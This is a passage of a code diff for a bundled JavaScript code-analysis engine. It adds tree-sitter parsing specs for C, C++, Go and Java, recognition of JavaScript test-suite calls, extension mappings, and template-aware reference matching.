2251
+ for (let ancestor = node.parent; ancestor !== null; ancestor = ancestor.parent) if (ancestor.type === NAMESPACE && ancestor.childForFieldName("name") === null) return true;
2252
+ return false;
2253
+ }
2254
+ function classifyIdentifier(leaf) {
2255
+ if (declaresName(leaf)) return void 0;
2256
+ const parent = leaf.parent;
2257
+ if (parent !== null && KIND_BY_SPECIFIER.has(parent.type) && parent.childForFieldName("body") === null) return BARE_USE;
2258
+ return classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR$5);
2259
+ }
2260
+ function declaresName(leaf) {
2261
+ let name = leaf;
2262
+ while (name.parent !== null && NAME_WRAPPERS.has(name.parent.type) && name.parent.childForFieldName("scope")?.id !== name.id) name = name.parent;
2263
+ const parent = name.parent;
2264
+ return parent !== null && DECLARING_PARENTS.has(parent.type) && parent.childForFieldName("declarator")?.id === name.id;
2265
+ }
2266
+ function parameterKind$4(parameter) {
2267
+ if (parameter.type === "variadic_parameter" || parameter.type === "variadic_parameter_declaration") return ParameterKind.Rest;
2268
+ return parameter.type === "optional_parameter_declaration" ? ParameterKind.Optional : ParameterKind.Required;
2269
+ }
2270
+ function makeSpec$1(language, grammar) {
2271
+ return {
2272
+ language,
2273
+ grammar,
2274
+ separator: "::",
2275
+ describe: describe$4,
2276
+ outerNode: outerNode$2,
2277
+ isAttachedPrefix: () => false,
2278
+ isContainer: (kind) => CONTAINERS$5.has(kind),
2279
+ isOpaque: (node) => OPAQUE_NODE_TYPES$2.has(node.type),
2280
+ childPrefix: (_header, _node, qualifiedName) => qualifiedName,
2281
+ normalizeLeaf: (leaf) => leaf.text,
2282
+ publicDefinitions: () => isPublicDefinition,
2283
+ identifierTypes: /* @__PURE__ */ new Set([
2284
+ "identifier",
2285
+ "field_identifier",
2286
+ "type_identifier",
2287
+ "namespace_identifier"
2288
+ ]),
2289
+ classifyIdentifier,
2290
+ selfReceivers: /* @__PURE__ */ new Set(["this"]),
2291
+ callsMembersByBareName: true,
2292
+ functionScopeTypes: /* @__PURE__ */ new Set(["function_definition", "lambda_expression"]),
2293
+ isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR$5),
2294
+ isImplicitlyInvoked: (methodName) => IMPLICITLY_INVOKED$1.test(methodName),
2295
+ shape: {
2296
+ functionNode: (definition) => definition,
2297
+ signatureNode: (fn) => declaredName(fn)?.functionDeclarator ?? fn,
2298
+ returnTypeField: "type",
2299
+ parameterKind: parameterKind$4,
2300
+ calls: /* @__PURE__ */ new Map([["call_expression", {
2301
+ calleeField: "function",
2302
+ suffix: ""
2303
+ }], ["new_expression", {
2304
+ calleeField: "type",
2305
+ suffix: ""
2306
+ }]]),
2307
+ errorCalls: /* @__PURE__ */ new Set([
2308
+ "exit",
2309
+ "abort",
2310
+ "_Exit",
2311
+ "quick_exit",
2312
+ "std::exit",
2313
+ "std::abort",
2314
+ "std::terminate",
2315
+ "std::quick_exit"
2316
+ ]),
2317
+ errorTypes: ["throw_statement"],
2318
+ branchTypes: [
2319
+ "if_statement",
2320
+ "for_statement",
2321
+ "for_range_loop",
2322
+ "while_statement",
2323
+ "do_statement",
2324
+ "case_statement",
2325
+ "conditional_expression",
2326
+ "catch_clause"
2327
+ ],
2328
+ nestingTypes: [
2329
+ "if_statement",
2330
+ "for_statement",
2331
+ "for_range_loop",
2332
+ "while_statement",
2333
+ "do_statement",
2334
+ "switch_statement",
2335
+ "try_statement"
2336
+ ],
2337
+ logicalTypes: ["binary_expression"],
2338
+ logicalOperators: /* @__PURE__ */ new Set([
2339
+ "&&",
2340
+ "||",
2341
+ "and",
2342
+ "or"
2343
+ ])
2344
+ }
2345
+ };
2346
+ }
2347
+ const cSpec = makeSpec$1(SourceLanguage.C, "tree-sitter-c/tree-sitter-c.wasm");
2348
+ const cppSpec = makeSpec$1(SourceLanguage.Cpp, "tree-sitter-cpp/tree-sitter-cpp.wasm");
2349
+ // packages/engine/src/syntax/go.ts
2350
+ const KIND_BY_TYPE_NODE = /* @__PURE__ */ new Map([["struct_type", UnitKind.Struct], ["interface_type", UnitKind.Interface]]);
2351
+ const GROUPED_DECLARATIONS = /* @__PURE__ */ new Set([
2352
+ "type_declaration",
2353
+ "const_declaration",
2354
+ "var_declaration"
2355
+ ]);
2356
+ const VALUE_SPECS = /* @__PURE__ */ new Set(["const_spec", "var_spec"]);
2357
+ const CONTAINERS$4 = /* @__PURE__ */ new Set([UnitKind.Interface]);
2358
+ const PROGRAM_PACKAGE = "main";
2359
+ const EXPORTED_NAME = /^\p{Lu}/u;
2360
+ const IDENTIFIER_GRAMMAR$4 = {
2361
+ member: /* @__PURE__ */ new Map([["selector_expression", ["field", "operand"]]]),
2362
+ path: /* @__PURE__ */ new Map([["qualified_type", ["name", "package"]]]),
2363
+ nameIsUse: /* @__PURE__ */ new Set(),
2364
+ labels: /* @__PURE__ */ new Map([["keyed_element", "key"]]),
2365
+ bindings: /* @__PURE__ */ new Map([
2366
+ ["parameter_declaration", "name"],
2367
+ ["variadic_parameter_declaration", "name"],
2368
+ ["var_spec", "name"],
2369
+ ["const_spec", "name"]
2370
+ ])
2371
+ };
2372
+ function describe$3(node, container) {
2373
+ switch (node.type) {
2374
+ case "function_declaration": return namedDefinition(node, UnitKind.Function);
2375
+ case "method_declaration": return describeMethod(node);
2376
+ case "method_elem": return container?.kind === UnitKind.Interface ? namedDefinition(node, UnitKind.Method) : void 0;
2377
+ case "type_spec": return namedDefinition(node, KIND_BY_TYPE_NODE.get(node.childForFieldName("type")?.type ?? "") ?? UnitKind.TypeAlias);
2378
+ case "type_alias": return namedDefinition(node, UnitKind.TypeAlias);
2379
+ default: return VALUE_SPECS.has(node.type) && container === void 0 ? describeValue(node) : void 0;
2380
+ }
2381
+ }
2382
+ function describeMethod(node) {
2383
+ const header = namedDefinition(node, UnitKind.Method);
2384
+ const receiverType = node.childForFieldName("receiver")?.namedChildren.at(0)?.childForFieldName("type");
2385
+ const owner = receiverType === null || receiverType === void 0 ? void 0 : typeName(receiverType);
2386
+ return header === void 0 || owner === void 0 ? header : {
2387
+ ...header,
2388
+ owner
2389
+ };
2390
+ }
2391
+ function typeName(type) {
2392
+ if (type.type === "type_identifier") return type.text;
2393
+ const inner = type.type === "pointer_type" ? type.namedChildren.at(0) : type.type === "generic_type" ? type.childForFieldName("type") : void 0;
2394
+ return inner === null || inner === void 0 ? void 0 : typeName(inner);
2395
+ }
2396
+ function describeValue(spec) {
2397
+ const names = spec.childrenForFieldName("name");
2398
+ const nameNode = names.at(0);
2399
+ if (names.length !== 1 || nameNode === null || nameNode === void 0) return void 0;
2400
+ return {
2401
+ kind: (spec.childForFieldName("value")?.namedChildren.at(0))?.type === "func_literal" ? UnitKind.Function : UnitKind.Constant,
2402
+ name: nameNode.text,
2403
+ nameNode
2404
+ };
2405
+ }
2406
+ function outerNode$1(node) {
2407
+ const parent = node.parent;
2408
+ return parent !== null && GROUPED_DECLARATIONS.has(parent.type) && parent.namedChildren.filter((child) => child?.type !== "comment").length === 1 ? parent : node;
2409
+ }
2410
+ function publicDefinitions$1(root) {
2411
+ if (root.namedChildren.find((child) => child?.type === "package_clause")?.namedChildren.at(0)?.text === PROGRAM_PACKAGE) return () => false;
2412
+ return (node, name) => {
2413
+ const owner = node.type === "method_declaration" ? describeMethod(node)?.owner : void 0;
2414
+ return EXPORTED_NAME.test(name) && (owner === void 0 || EXPORTED_NAME.test(owner));
2415
+ };
2416
+ }
2417
+ function parameterKind$3(parameter) {
2418
+ return parameter.type === "variadic_parameter_declaration" ? ParameterKind.Rest : ParameterKind.Required;
2419
+ }
2420
+ const goSpec = {
2421
+ language: SourceLanguage.Go,
2422
+ grammar: "tree-sitter-go/tree-sitter-go.wasm",
2423
+ separator: ".",
2424
+ describe: describe$3,
2425
+ outerNode: outerNode$1,
2426
+ isAttachedPrefix: () => false,
2427
+ isContainer: (kind) => CONTAINERS$4.has(kind),
2428
+ isOpaque: (node) => node.type === "func_literal" || node.type === "block",
2429
+ childPrefix: (_header, _node, qualifiedName) => qualifiedName,
2430
+ normalizeLeaf: (leaf) => leaf.text,
2431
+ publicDefinitions: publicDefinitions$1,
2432
+ identifierTypes: /* @__PURE__ */ new Set([
2433
+ "identifier",
2434
+ "field_identifier",
2435
+ "type_identifier"
2436
+ ]),
2437
+ classifyIdentifier: (leaf) => classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR$4),
2438
+ selfReceivers: /* @__PURE__ */ new Set(),
2439
+ callsMembersByBareName: false,
2440
+ functionScopeTypes: /* @__PURE__ */ new Set([
2441
+ "function_declaration",
2442
+ "method_declaration",
2443
+ "func_literal"
2444
+ ]),
2445
+ isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR$4),
2446
+ isImplicitlyInvoked: () => false,
2447
+ shape: {
2448
+ functionNode: (definition) => definition,
2449
+ signatureNode: (fn) => fn,
2450
+ returnTypeField: "result",
2451
+ parameterKind: parameterKind$3,
2452
+ calls: /* @__PURE__ */ new Map([["call_expression", {
2453
+ calleeField: "function",
2454
+ suffix: ""
2455
+ }]]),
2456
+ errorCalls: /* @__PURE__ */ new Set([
2457
+ "panic",
2458
+ "log.Fatal",
2459
+ "log.Fatalf",
2460
+ "log.Fatalln",
2461
+ "log.Panic",
2462
+ "log.Panicf",
2463
+ "os.Exit"
2464
+ ]),
2465
+ errorTypes: [],
2466
+ branchTypes: [
2467
+ "if_statement",
2468
+ "for_statement",
2469
+ "expression_case",
2470
+ "type_case",
2471
+ "communication_case"
2472
+ ],
2473
+ nestingTypes: [
2474
+ "if_statement",
2475
+ "for_statement",
2476
+ "expression_switch_statement",
2477
+ "type_switch_statement",
2478
+ "select_statement"
2479
+ ],
2480
+ logicalTypes: ["binary_expression"],
2481
+ logicalOperators: /* @__PURE__ */ new Set(["&&", "||"])
2482
+ }
2483
+ };
2484
+ // packages/engine/src/syntax/java.ts
2485
+ const KIND_BY_NODE_TYPE$2 = /* @__PURE__ */ new Map([
2486
+ ["class_declaration", UnitKind.Class],
2487
+ ["record_declaration", UnitKind.Class],
2488
+ ["interface_declaration", UnitKind.Interface],
2489
+ ["annotation_type_declaration", UnitKind.Interface],
2490
+ ["enum_declaration", UnitKind.Enum],
2491
+ ["method_declaration", UnitKind.Method],
2492
+ ["constructor_declaration", UnitKind.Method],
2493
+ ["compact_constructor_declaration", UnitKind.Method],
2494
+ ["annotation_type_element_declaration", UnitKind.Method]
2495
+ ]);
2496
+ const CONTAINERS$3 = /* @__PURE__ */ new Set([
2497
+ UnitKind.Class,
2498
+ UnitKind.Interface,
2499
+ UnitKind.Enum
2500
+ ]);
2501
+ const OPAQUE_NODE_TYPES$1 = /* @__PURE__ */ new Set([
2502
+ "object_creation_expression",
2503
+ "lambda_expression",
2504
+ "enum_constant",
2505
+ "block"
2506
+ ]);
2507
+ const PUBLIC_MODIFIER = "public";
2508
+ const PRIVATE_MODIFIER = "private";
2509
+ const IMPLICITLY_PUBLIC_CONTAINERS = /* @__PURE__ */ new Set([UnitKind.Interface]);
2510
+ const IMPLICITLY_INVOKED = /* @__PURE__ */ new Set([
2511
+ "toString",
2512
+ "equals",
2513
+ "hashCode",
2514
+ "close",
2515
+ "compareTo",
2516
+ "main",
2517
+ "finalize"
2518
+ ]);
2519
+ const IDENTIFIER_GRAMMAR$3 = {
2520
+ member: /* @__PURE__ */ new Map([
2521
+ ["method_invocation", ["name", "object"]],
2522
+ ["field_access", ["field", "object"]],
2523
+ ["method_reference", ["name", "object"]]
2524
+ ]),
2525
+ path: /* @__PURE__ */ new Map([["scoped_type_identifier", ["name", "scope"]], ["scoped_identifier", ["name", "scope"]]]),
2526
+ nameIsUse: /* @__PURE__ */ new Set(),
2527
+ labels: /* @__PURE__ */ new Map([["element_value_pair", "key"]]),
2528
+ bindings: /* @__PURE__ */ new Map([
2529
+ ["formal_parameter", "name"],
2530
+ ["variable_declarator", "name"],
2531
+ ["catch_formal_parameter", "name"],
2532
+ ["enhanced_for_statement", "name"],
2533
+ ["inferred_parameters", null],
2534
+ ["lambda_expression", "parameters"]
2535
+ ])
2536
+ };
2537
+ function describe$2(node) {
2538
+ const kind = KIND_BY_NODE_TYPE$2.get(node.type);
2539
+ return kind === void 0 ? void 0 : namedDefinition(node, kind);
2540
+ }
2541
+ function modifierWords(node) {
2542
+ const modifiers = node.namedChildren.find((child) => child?.type === "modifiers");
2543
+ return new Set(modifiers?.children.filter((child) => child !== null && !child.isNamed).map((child) => child?.text ?? "") ?? []);
2544
+ }
2545
+ function isPublicMember$1(node, _name, container) {
2546
+ const words = modifierWords(node);
2547
+ if (container !== void 0 && IMPLICITLY_PUBLIC_CONTAINERS.has(container.kind)) return !words.has(PRIVATE_MODIFIER);
2548
+ return words.has(PUBLIC_MODIFIER);
2549
+ }
2550
+ function parameterKind$2(parameter) {
2551
+ if (parameter.type === "spread_parameter") return ParameterKind.Rest;
2552
+ return parameter.type === "receiver_parameter" ? ParameterKind.Receiver : ParameterKind.Required;
2553
+ }
2554
+ const javaSpec = {
2555
+ language: SourceLanguage.Java,
2556
+ grammar: "tree-sitter-java/tree-sitter-java.wasm",
2557
+ separator: ".",
2558
+ describe: describe$2,
2559
+ outerNode: (node) => node,
2560
+ isAttachedPrefix: () => false,
2561
+ isContainer: (kind) => CONTAINERS$3.has(kind),
2562
+ isOpaque: (node) => OPAQUE_NODE_TYPES$1.has(node.type),
2563
+ childPrefix: (_header, _node, qualifiedName) => qualifiedName,
2564
+ normalizeLeaf: (leaf) => leaf.text,
2565
+ publicDefinitions: () => isPublicMember$1,
2566
+ identifierTypes: /* @__PURE__ */ new Set(["identifier", "type_identifier"]),
2567
+ classifyIdentifier: (leaf) => classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR$3),
2568
+ selfReceivers: /* @__PURE__ */ new Set(["this"]),
2569
+ callsMembersByBareName: true,
2570
+ functionScopeTypes: /* @__PURE__ */ new Set([
2571
+ "method_declaration",
2572
+ "constructor_declaration",
2573
+ "compact_constructor_declaration",
2574
+ "lambda_expression"
2575
+ ]),
2576
+ isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR$3),
2577
+ isImplicitlyInvoked: (methodName) => IMPLICITLY_INVOKED.has(methodName),
2578
+ shape: {
2579
+ functionNode: (definition) => definition,
2580
+ signatureNode: (fn) => fn,
2581
+ returnTypeField: "type",
2582
+ parameterKind: parameterKind$2,
2583
+ calls: /* @__PURE__ */ new Map([["method_invocation", {
2584
+ calleeField: "name",
2585
+ suffix: ""
2586
+ }], ["object_creation_expression", {
2587
+ calleeField: "type",
2588
+ suffix: ""
2589
+ }]]),
2590
+ errorCalls: /* @__PURE__ */ new Set(),
2591
+ errorTypes: ["throw_statement"],
2592
+ branchTypes: [
2593
+ "if_statement",
2594
+ "for_statement",
2595
+ "enhanced_for_statement",
2596
+ "while_statement",
2597
+ "do_statement",
2598
+ "switch_label",
2599
+ "catch_clause",
2600
+ "ternary_expression"
2601
+ ],
2602
+ nestingTypes: [
2603
+ "if_statement",
2604
+ "for_statement",
2605
+ "enhanced_for_statement",
2606
+ "while_statement",
2607
+ "do_statement",
2608
+ "switch_expression",
2609
+ "try_statement",
2610
+ "try_with_resources_statement"
2611
+ ],
2612
+ logicalTypes: ["binary_expression"],
2613
+ logicalOperators: /* @__PURE__ */ new Set(["&&", "||"])
2614
+ }
2615
+ };
1817
2616
  // packages/engine/src/syntax/python.ts
1818
2617
  const CONTAINERS$2 = /* @__PURE__ */ new Set([UnitKind.Class]);
1819
2618
  const IDENTIFIER_GRAMMAR$2 = {
@@ -1868,11 +2667,14 @@ const pythonSpec = {
1868
2667
  identifierTypes: /* @__PURE__ */ new Set(["identifier"]),
1869
2668
  classifyIdentifier: (leaf) => classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR$2),
1870
2669
  selfReceivers: /* @__PURE__ */ new Set(["self", "cls"]),
2670
+ callsMembersByBareName: false,
1871
2671
  functionScopeTypes: /* @__PURE__ */ new Set(["function_definition", "lambda"]),
1872
2672
  isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR$2),
1873
2673
  isImplicitlyInvoked: (methodName) => DUNDER_METHOD.test(methodName),
1874
2674
  shape: {
1875
2675
  functionNode: (definition) => definition,
2676
+ signatureNode: (fn) => fn,
2677
+ returnTypeField: "return_type",
1876
2678
  parameterKind: parameterKind$1,
1877
2679
  calls: /* @__PURE__ */ new Map([["call", {
1878
2680
  calleeField: "function",
@@ -1960,11 +2762,14 @@ const rustSpec = {
1960
2762
  ]),
1961
2763
  classifyIdentifier: (leaf) => classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR$1),
1962
2764
  selfReceivers: /* @__PURE__ */ new Set(["self", "Self"]),
2765
+ callsMembersByBareName: false,
1963
2766
  functionScopeTypes: /* @__PURE__ */ new Set(["function_item", "closure_expression"]),
1964
2767
  isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR$1),
1965
2768
  isImplicitlyInvoked: (methodName) => methodName === "drop",
1966
2769
  shape: {
1967
2770
  functionNode: (definition) => definition,
2771
+ signatureNode: (fn) => fn,
2772
+ returnTypeField: "return_type",
1968
2773
  parameterKind: (parameter) => parameter.type === "self_parameter" ? ParameterKind.Receiver : parameter.type === "variadic_parameter" ? ParameterKind.Rest : ParameterKind.Required,
1969
2774
  calls: /* @__PURE__ */ new Map([["call_expression", {
1970
2775
  calleeField: "function",
@@ -2014,6 +2819,102 @@ function describeImpl(node) {
2014
2819
  nameNode: null
2015
2820
  };
2016
2821
  }
2822
+ // packages/engine/src/syntax/testCalls.ts
2823
+ const KIND_BY_WORD = /* @__PURE__ */ new Map([
2824
+ ["describe", UnitKind.TestSuite],
2825
+ ["suite", UnitKind.TestSuite],
2826
+ ["context", UnitKind.TestSuite],
2827
+ ["fdescribe", UnitKind.TestSuite],
2828
+ ["xdescribe", UnitKind.TestSuite],
2829
+ ["it", UnitKind.Test],
2830
+ ["test", UnitKind.Test],
2831
+ ["specify", UnitKind.Test],
2832
+ ["fit", UnitKind.Test],
2833
+ ["xit", UnitKind.Test],
2834
+ ["beforeEach", UnitKind.TestHook],
2835
+ ["afterEach", UnitKind.TestHook],
2836
+ ["beforeAll", UnitKind.TestHook],
2837
+ ["afterAll", UnitKind.TestHook],
2838
+ ["before", UnitKind.TestHook],
2839
+ ["after", UnitKind.TestHook]
2840
+ ]);
2841
+ const MODIFIERS = /* @__PURE__ */ new Set([
2842
+ "only",
2843
+ "skip",
2844
+ "todo",
2845
+ "concurrent",
2846
+ "sequential",
2847
+ "fails",
2848
+ "each",
2849
+ "skipIf",
2850
+ "runIf",
2851
+ "serial",
2852
+ "parallel",
2853
+ "fixme"
2854
+ ]);
2855
+ const CALLBACK_TYPES = /* @__PURE__ */ new Set(["arrow_function", "function_expression"]);
2856
+ const TITLE_TYPES = /* @__PURE__ */ new Set(["string", "template_string"]);
2857
+ /** A statement such as `describe("parser", () => {…})`, as a unit. */
2858
+ function describeTestStatement(statement) {
2859
+ const call = statement.type === "expression_statement" ? testCall(statement.namedChildren.at(0) ?? null) : void 0;
2860
+ if (call === void 0) return void 0;
2861
+ if (call.kind === UnitKind.TestHook || call.title === void 0) return {
2862
+ kind: call.kind,
2863
+ name: call.words.join("."),
2864
+ nameNode: null
2865
+ };
2866
+ return {
2867
+ kind: call.kind,
2868
+ name: titleText(call.title),
2869
+ nameNode: titleNameNode(call.title)
2870
+ };
2871
+ }
2872
+ /**
2873
+ * Whether a node the walker would otherwise skip leads into a suite's callback, where its tests
2874
+ * are: the suite's call, the callback passed to it, and the callback's body.
2875
+ */
2876
+ function leadsIntoTestSuite(node) {
2877
+ if (node.type === "call_expression") return testCall(node)?.kind === UnitKind.TestSuite;
2878
+ if (CALLBACK_TYPES.has(node.type)) return isSuiteCallback(node);
2879
+ const parent = node.parent;
2880
+ return node.type === "statement_block" && parent !== null && CALLBACK_TYPES.has(parent.type) && isSuiteCallback(parent);
2881
+ }
2882
+ function isSuiteCallback(callback) {
2883
+ const call = callback.parent?.parent ?? null;
2884
+ return callback.parent?.type === "arguments" && testCall(call)?.callback.id === callback.id && testCall(call)?.kind === UnitKind.TestSuite;
2885
+ }
2886
+ function testCall(node) {
2887
+ if (node?.type !== "call_expression") return void 0;
2888
+ const words = calleeWords(node.childForFieldName("function"));
2889
+ const kind = KIND_BY_WORD.get(words.at(-1) ?? "");
2890
+ if (kind === void 0 || !KIND_BY_WORD.has(words.at(0) ?? "")) return void 0;
2891
+ const args = node.childForFieldName("arguments")?.namedChildren.filter((arg) => arg !== null) ?? [];
2892
+ const callback = args.find((arg) => CALLBACK_TYPES.has(arg.type));
2893
+ if (callback === void 0) return void 0;
2894
+ const first = args.at(0);
2895
+ return {
2896
+ kind,
2897
+ words,
2898
+ title: first === void 0 || first.id === callback.id ? void 0 : first,
2899
+ callback
2900
+ };
2901
+ }
2902
+ function calleeWords(callee) {
2903
+ if (callee === null) return [];
2904
+ if (callee.type === "identifier") return [callee.text];
2905
+ if (callee.type === "call_expression") return calleeWords(callee.childForFieldName("function"));
2906
+ if (callee.type !== "member_expression") return [];
2907
+ const property = callee.childForFieldName("property")?.text ?? "";
2908
+ const object = calleeWords(callee.childForFieldName("object"));
2909
+ return MODIFIERS.has(property) ? object : [...object, property];
2910
+ }
2911
+ function titleText(title) {
2912
+ return TITLE_TYPES.has(title.type) ? title.text.slice(1, -1) : title.text;
2913
+ }
2914
+ function titleNameNode(title) {
2915
+ const fragments = title.namedChildren.filter((child) => child?.type === "string_fragment");
2916
+ return fragments.length === 1 ? fragments.at(0) ?? null : null;
2917
+ }
2017
2918
  // packages/engine/src/syntax/typescript.ts
2018
2919
  const KIND_BY_NODE_TYPE = /* @__PURE__ */ new Map([
2019
2920
  ["function_declaration", UnitKind.Function],
@@ -2039,7 +2940,11 @@ const MODULE_LEVEL_PARENTS = /* @__PURE__ */ new Set([
2039
2940
  "export_statement",
2040
2941
  "statement_block"
2041
2942
  ]);
2042
- const CONTAINERS = /* @__PURE__ */ new Set([UnitKind.Class, UnitKind.Module]);
2943
+ const CONTAINERS = /* @__PURE__ */ new Set([
2944
+ UnitKind.Class,
2945
+ UnitKind.Module,
2946
+ UnitKind.TestSuite
2947
+ ]);
2043
2948
  const OPAQUE_NODE_TYPES = /* @__PURE__ */ new Set([
2044
2949
  "call_expression",
2045
2950
  "arrow_function",
@@ -2069,6 +2974,7 @@ const FUNCTION_SCOPE_TYPES = /* @__PURE__ */ new Set([
2069
2974
  "method_definition"
2070
2975
  ]);
2071
2976
  function describe$1(node, container) {
2977
+ if (node.type === "expression_statement") return describeTestStatement(node);
2072
2978
  if (node.type === "variable_declarator") return describeVariable(node, container);
2073
2979
  if (node.type === "public_field_definition") {
2074
2980
  const value = node.childForFieldName("value");
@@ -2103,6 +3009,7 @@ const EXPORT_BOUNDARIES = /* @__PURE__ */ new Set(["program", "statement_block"]
2103
3009
  function publicDefinitions(root) {
2104
3010
  const exported = locallyExportedNames(root);
2105
3011
  return (node, name, container) => {
3012
+ if (node.type === "expression_statement") return false;
2106
3013
  if (container?.kind === UnitKind.Class) return isPublicMember(node);
2107
3014
  return isInsideExportStatement(node) || container === void 0 && exported.has(name);
2108
3015
  };
@@ -2143,7 +3050,7 @@ function makeSpec(language, grammar) {
2143
3050
  outerNode,
2144
3051
  isAttachedPrefix: (node) => node.type === "decorator",
2145
3052
  isContainer: (kind) => CONTAINERS.has(kind),
2146
- isOpaque: (node) => OPAQUE_NODE_TYPES.has(node.type) && node.parent?.type !== "internal_module",
3053
+ isOpaque: (node) => OPAQUE_NODE_TYPES.has(node.type) && node.parent?.type !== "internal_module" && !leadsIntoTestSuite(node),
2147
3054
  childPrefix: (_header, _node, qualifiedName) => qualifiedName,
2148
3055
  normalizeLeaf: (leaf) => STRING_DELIMITERS.has(leaf.type) && leaf.parent?.type === "string" ? "\"" : leaf.text,
2149
3056
  publicDefinitions,
@@ -2155,11 +3062,14 @@ function makeSpec(language, grammar) {
2155
3062
  ]),
2156
3063
  classifyIdentifier: (leaf) => classifyWithGrammar(leaf, IDENTIFIER_GRAMMAR),
2157
3064
  selfReceivers: /* @__PURE__ */ new Set(["this"]),
3065
+ callsMembersByBareName: false,
2158
3066
  functionScopeTypes: FUNCTION_SCOPE_TYPES,
2159
3067
  isBindingSite: (leaf) => isBindingWithGrammar(leaf, IDENTIFIER_GRAMMAR),
2160
3068
  isImplicitlyInvoked: (methodName) => methodName === "constructor",
2161
3069
  shape: {
2162
3070
  functionNode: (definition) => definition.childForFieldName("value") ?? definition,
3071
+ signatureNode: (fn) => fn,
3072
+ returnTypeField: "return_type",
2163
3073
  parameterKind,
2164
3074
  calls: /* @__PURE__ */ new Map([["call_expression", {
2165
3075
  calleeField: "function",
@@ -2212,16 +3122,31 @@ const SPEC_BY_EXTENSION = /* @__PURE__ */ new Map([
2212
3122
  [".cjs", tsxSpec],
2213
3123
  [".jsx", tsxSpec],
2214
3124
  [".py", pythonSpec],
2215
- [".pyi", pythonSpec]
3125
+ [".pyi", pythonSpec],
3126
+ [".go", goSpec],
3127
+ [".java", javaSpec],
3128
+ [".c", cSpec],
3129
+ [".h", cppSpec],
3130
+ [".cc", cppSpec],
3131
+ [".cpp", cppSpec],
3132
+ [".cxx", cppSpec],
3133
+ [".c++", cppSpec],
3134
+ [".hh", cppSpec],
3135
+ [".hpp", cppSpec],
3136
+ [".hxx", cppSpec],
3137
+ [".h++", cppSpec],
3138
+ [".inl", cppSpec],
3139
+ [".ipp", cppSpec],
3140
+ [".tpp", cppSpec]
2216
3141
  ]);
2217
3142
  function languageSpecFor(path) {
2218
3143
  return SPEC_BY_EXTENSION.get(extname(path).toLowerCase());
2219
3144
  }
2220
3145
  [...SPEC_BY_EXTENSION.keys()];
2221
- const ECMASCRIPT_LANGUAGES = /* @__PURE__ */ new Set([SourceLanguage.TypeScript, SourceLanguage.Tsx]);
3146
+ const LANGUAGE_FAMILIES = [/* @__PURE__ */ new Set([SourceLanguage.TypeScript, SourceLanguage.Tsx]), /* @__PURE__ */ new Set([SourceLanguage.C, SourceLanguage.Cpp])];
2222
3147
  /** Whether code in one language can refer to units defined in the other. */
2223
3148
  function canReferenceAcross(a, b) {
2224
- return a === b || ECMASCRIPT_LANGUAGES.has(a) && ECMASCRIPT_LANGUAGES.has(b);
3149
+ return a === b || LANGUAGE_FAMILIES.some((family) => family.has(a) && family.has(b));
2225
3150
  }
2226
3151
  // packages/engine/src/syntax/parser.ts
2227
3152
  const require = createRequire(import.meta.url);
@@ -2567,6 +3492,7 @@ function targetsIn(file) {
2567
3492
  spec: file.spec,
2568
3493
  searchedName,
2569
3494
  container: unit.kind === UnitKind.Method ? containerTypeName(unit.qualifiedName, file.spec.separator) : void 0,
3495
+ containerArguments: unit.kind === UnitKind.Method ? templateArguments(containerPath(unit.qualifiedName, file.spec.separator) ?? "") : void 0,
2570
3496
  ownLines: after === void 0 ? void 0 : {
2571
3497
  first: after.startLine,
2572
3498
  last: after.endLine
@@ -2638,13 +3564,27 @@ function referenceConfidence(use, target, caller, spec) {
2638
3564
  case IdentifierUseKind.Member: {
2639
3565
  const qualifier = use.kind === IdentifierUseKind.Path ? use.qualifier : use.receiver;
2640
3566
  if (container === void 0) return use.kind === IdentifierUseKind.Path && qualifiesModuleOf(use.qualifier, target.path) ? ReferenceConfidence.Likely : ReferenceConfidence.Possible;
2641
- if (simpleTypeName(qualifier) === container) return ReferenceConfidence.Exact;
2642
- if (spec.selfReceivers.has(qualifier)) return (caller === void 0 ? void 0 : containerTypeName(caller.qualifiedName, spec.separator)) === container ? ReferenceConfidence.Exact : void 0;
3567
+ if (simpleTypeName(qualifier) === container) return isOtherSpecialization(qualifier, target) ? ReferenceConfidence.Possible : ReferenceConfidence.Exact;
3568
+ if (spec.selfReceivers.has(qualifier)) return isCalledFromItsContainer(caller, target, spec) ? ReferenceConfidence.Exact : void 0;
2643
3569
  return use.kind === IdentifierUseKind.Path ? void 0 : ReferenceConfidence.Possible;
2644
3570
  }
2645
- case IdentifierUseKind.Bare: return container === void 0 ? ReferenceConfidence.Likely : void 0;
3571
+ case IdentifierUseKind.Bare:
3572
+ if (container === void 0) return ReferenceConfidence.Likely;
3573
+ return spec.callsMembersByBareName && isCalledFromItsContainer(caller, target, spec) ? ReferenceConfidence.Likely : void 0;
2646
3574
  }
2647
3575
  }
3576
+ function isCalledFromItsContainer(caller, target, spec) {
3577
+ const callerContainer = caller === void 0 ? void 0 : containerPath(caller.qualifiedName, spec.separator);
3578
+ return callerContainer !== void 0 && simpleTypeName(callerContainer) === target.container && !isOtherSpecialization(callerContainer, target);
3579
+ }
3580
+ function isOtherSpecialization(path, target) {
3581
+ const pathArguments = templateArguments(path);
3582
+ return pathArguments !== void 0 && target.containerArguments !== void 0 && pathArguments !== target.containerArguments;
3583
+ }
3584
+ function templateArguments(path) {
3585
+ return TRAILING_TEMPLATE_ARGUMENTS.exec(path)?.[0].replace(/\s+/g, "");
3586
+ }
3587
+ const TRAILING_TEMPLATE_ARGUMENTS = /<.*>$/;
2648
3588
  const RELATIVE_PATH_ROOTS = /* @__PURE__ */ new Set([
2649
3589
  "crate",
2650
3590
  "self",
@@ -2700,8 +3640,12 @@ function byReviewPriority(a, b) {
2700
3640
  }
2701
3641
  /** `Size::new` → `Size`; `<Size as fmt::Display>::fmt` → `Size`; `Parser.parse` → `Parser`. */
2702
3642
  function containerTypeName(qualifiedName, separator) {
3643
+ const path = containerPath(qualifiedName, separator);
3644
+ return path === void 0 ? void 0 : simpleTypeName(path);
3645
+ }
3646
+ function containerPath(qualifiedName, separator) {
2703
3647
  const cut = qualifiedName.lastIndexOf(separator);
2704
